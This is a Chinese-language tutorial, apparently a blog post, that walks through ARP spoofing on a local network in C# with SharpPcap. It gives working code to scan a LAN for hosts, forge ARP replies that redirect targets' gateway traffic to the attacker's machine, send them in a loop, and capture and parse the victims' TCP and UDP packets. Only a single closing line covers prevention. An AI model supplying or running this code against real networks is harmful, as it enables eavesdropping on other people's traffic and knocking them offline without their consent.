由於之前寫的C# 實現Arp欺詐的文章屬於網絡攻擊，不能夠被展示，所以這邊我們稍微說一下C#調用ARP包以及查看其他電腦上網數據包的技術，委婉的說一下ARP在局域網之中的應用。
本文章純屬技術討論，並且涵蓋了如何去防止ARP攻擊的手段。
目錄
ARP作用
學到一點網絡的都知道，ARP本身用於IP地址和MAC地址的轉換，主要是在七層網絡協議中，網絡層之下就是使用MAC地址進行通信了，這樣的設計本身也是底層可以無關上層通訊協議的變化而變化，而提供一個統一的接口。
比如局域網中的A主機和B主機，如果A主機的ARP緩存中有B主機的MAC地址，則直接發送數據到對應MAC地址，沒有則通過發送ARP廣播數據包的方式，根據迴應來更新ARP緩存。
ARP欺騙原理
創建一個arp包，將網關ip地址和錯誤的網關mac地址發送給目標主機，讓主機更新錯誤的mac-ip地址映射到緩存中。
工具
開源的.net arp庫: SharpPcap,PacketDotNet
項目中導入：
<PackageReference Include="PacketDotNet" Version="1.4.7" />
<PackageReference Include="SharpPcap" Version="6.2.5" />
實戰
獲取本機所有的網絡設備
LibPcapLiveDeviceList.Instance
獲取對應設備的ip和mac地址,以及網關ip
foreach (var address in LibPcapLiveDevice.Addresses)
{
if (address.Addr.type == Sockaddr.AddressTypes.AF_INET_AF_INET6)
{
//ipv4地址
if (address.Addr.ipAddress.AddressFamily == AddressFamily.InterNetwork)
{
LocalIp = address.Addr.ipAddress;
break;
}
}
}
foreach (var address in LibPcapLiveDevice.Addresses)
{
if (address.Addr.type == Sockaddr.AddressTypes.HARDWARE)
{
LocalMac = address.Addr.hardwareAddress; // 本機MAC
}
}
var gw = LibPcapLiveDevice.Interface.GatewayAddresses; // 網關IP
//ipv4的gateway
GatewayIp = gw?.FirstOrDefault(x => x.AddressFamily == AddressFamily.InterNetwork);
獲取網關mac地址
通過發送arp包到網關，獲取響應包，從響應包中獲取mac地址。
1.創建arp包
var ethernetPacket = new EthernetPacket(localMac, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetType.Arp);
var arpPacket = new ArpPacket(ArpOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), destinationIP, localMac, localIP);
ethernetPacket.PayloadPacket = arpPacket;
2.發送arp包到網關，並且等待下一個回覆包。
LibPcapLiveDevice.Open(DeviceModes.Promiscuous, 20);
LibPcapLiveDevice.Filter = arpFilter;
var lastRequestTime = DateTime.FromBinary(0);
var requestInterval = TimeSpan.FromMilliseconds(200);
ArpPacket arpPacket = null;
var timeoutDateTime = DateTime.Now + _timeout;
while (DateTime.Now < timeoutDateTime)
{
if (requestInterval < (DateTime.Now - lastRequestTime))
{
LibPcapLiveDevice.SendPacket(request);
lastRequestTime = DateTime.Now;
}
if (LibPcapLiveDevice.GetNextPacket(out var packet) > 0)
{
if (packet.Device.LinkType != LinkLayers.Ethernet)
{
continue;
}
var pack = Packet.ParsePacket(packet.Device.LinkType, packet.Data.ToArray());
arpPacket = pack.Extract<ArpPacket>();
if (arpPacket == null)//是否是一個arp包
{
continue;
}
if (arpPacket.SenderProtocolAddress.Equals(destIP))
{
break;
}
}
}
// free the device
LibPcapLiveDevice.Close();
return arpPacket?.SenderHardwareAddress;
掃描局域網內活動ip和mac地址
1.設置掃描的ip區間，生成每個ip的arp請求包
var arpPackets = new Packet[targetIPList.Count];
for (int i = 0; i < arpPackets.Length; ++i)
{
arpPackets[i] = BuildRequest(targetIPList[i], LocalMac, LocalIp);
}
2.發送arp包到各個ip，如果回覆了則在線，超時則認爲不活動
if (_cancellationTokenSource.IsCancellationRequested)
{
break;
}
var lastRequestTime = DateTime.FromBinary(0);
var requestInterval = TimeSpan.FromMilliseconds(200);
var timeoutDateTime = DateTime.Now + _timeout;
while (DateTime.Now < timeoutDateTime)
{
if (_cancellationTokenSource.IsCancellationRequested)
{
break;
}
if (requestInterval < (DateTime.Now - lastRequestTime))
{
LibPcapLiveDevice.SendPacket(arpPackets[i]);
lastRequestTime = DateTime.Now;
}
if (LibPcapLiveDevice.GetNextPacket(out var packet) > 0)
{
if (packet.Device.LinkType != LinkLayers.Ethernet)
{
continue;
}
var pack = Packet.ParsePacket(packet.Device.LinkType, packet.Data.ToArray());
var arpPacket = pack.Extract<ArpPacket>();
if (arpPacket == null)
{
continue;
}
//回覆的arp包並且是我們請求的ip地址
if (arpPacket.SenderProtocolAddress.Equals(targetIPList[i]))
{
Application.Current.Dispatcher.Invoke(() =>
{
///增加到IPlist中
Computers.Add(new Computer()
{
IPAddress = arpPacket.SenderProtocolAddress.ToString(),
MacAddress = arpPacket.SenderHardwareAddress?.ToString(),
});
});
break;
}
}
}
指定ip/ips攻擊
攻擊包就不能創建請求包， 應該僞造一個來自網關的響應包，從而將網關錯誤的mac地址更新到目標主機的緩存中。
1.創建錯誤的響應包
private Packet BuildResponse(IPAddress destIP, PhysicalAddress destMac, IPAddress senderIP, PhysicalAddress senderMac)
{
var ethernetPacket = new EthernetPacket(senderMac, destMac, EthernetType.Arp);
var arpPacket = new ArpPacket(ArpOperation.Response, destMac, destIP, senderMac, senderIP);
ethernetPacket.PayloadPacket = arpPacket;
return ethernetPacket;
}
調用創建arp響應包，但是可以看到最後一個mac地址，應該是網關的mac地址，我們替換成了自己本地mac地址。
BuildResponse(IPAddress.Parse(compute.IPAddress), PhysicalAddress.Parse(compute.MacAddress), GatewayIp, LocalMac);
2.直接以1000ms的間隔輪詢發送響應包到目標主機
var aTask = Task.Run(async () =>
{
while (true)
{
if (_cancellationTokenSource1.IsCancellationRequested)
{
break;
}
try
{
LibPcapLiveDevice.SendPacket(packet);
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
await Task.Delay(1000);
}
LibPcapLiveDevice.Close();
}, _cancellationTokenSource1.Token);
獲取網絡數據包
此時的被攻擊的電腦，由於它的網關對應的MAC地址被我們替換成了自己電腦的MAC,所以原本通過網關發送的數據包，都會發送到我們電腦上來，我們不做任何處理就會導致電腦無法上網，我們可以通過監聽網卡查看來自該電腦的數據包，從而窺探一些請求。
/// <summary>
/// 監聽到攻擊的網卡收到的數據包
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void OnPacketArrival(object sender, PacketCapture e)
{
try
{
var device = sender as LibPcapLiveDevice;
var packet = Packet.ParsePacket(e.Device.LinkType, e.Data.ToArray());
if (packet != null)
{
if (packet is EthernetPacket ethernetPacket) //數據包是以太網數據
{
var targetComputer = ArpAttackComputers.FirstOrDefault(x => x.MacAddress == ethernetPacket.SourceHardwareAddress.ToString());
if (targetComputer != null)
{
var ipPacket = ethernetPacket.Extract<IPPacket>();
if (ipPacket != null)
{
var packetViewModel = new PacketViewModel();
packetViewModel.SourceIpAddress = ipPacket.SourceAddress.ToString();
packetViewModel.TargetIpAddress = ipPacket.DestinationAddress.ToString();
var udpPacket = ipPacket.Extract<UdpPacket>();
var tcpPacket = ipPacket.Extract<TcpPacket>();
packetViewModel.Type = "IP";
if (udpPacket != null)
{
packetViewModel.SourcePort = udpPacket.SourcePort;
packetViewModel.TargetPort = udpPacket.DestinationPort;
packetViewModel.Type = "UDP";
}
if (tcpPacket != null)
{
packetViewModel.SourcePort = tcpPacket.SourcePort;
packetViewModel.TargetPort = tcpPacket.DestinationPort;
packetViewModel.Type = "TCP";
}
targetComputer.AddPacket(packetViewModel);
}
else
{
///mac地址沒啥好記錄的都知道了
var packetViewModel = new PacketViewModel();
packetViewModel.Type = "以太網";
targetComputer.AddPacket(packetViewModel);
}
}
}
}
}
catch (Exception)
{
}
}
我們解析了IP數據包，TCP以及UDP包。
工具頁面
如何預防?
一般只需要本地將網關和MAC地址靜態綁定即可。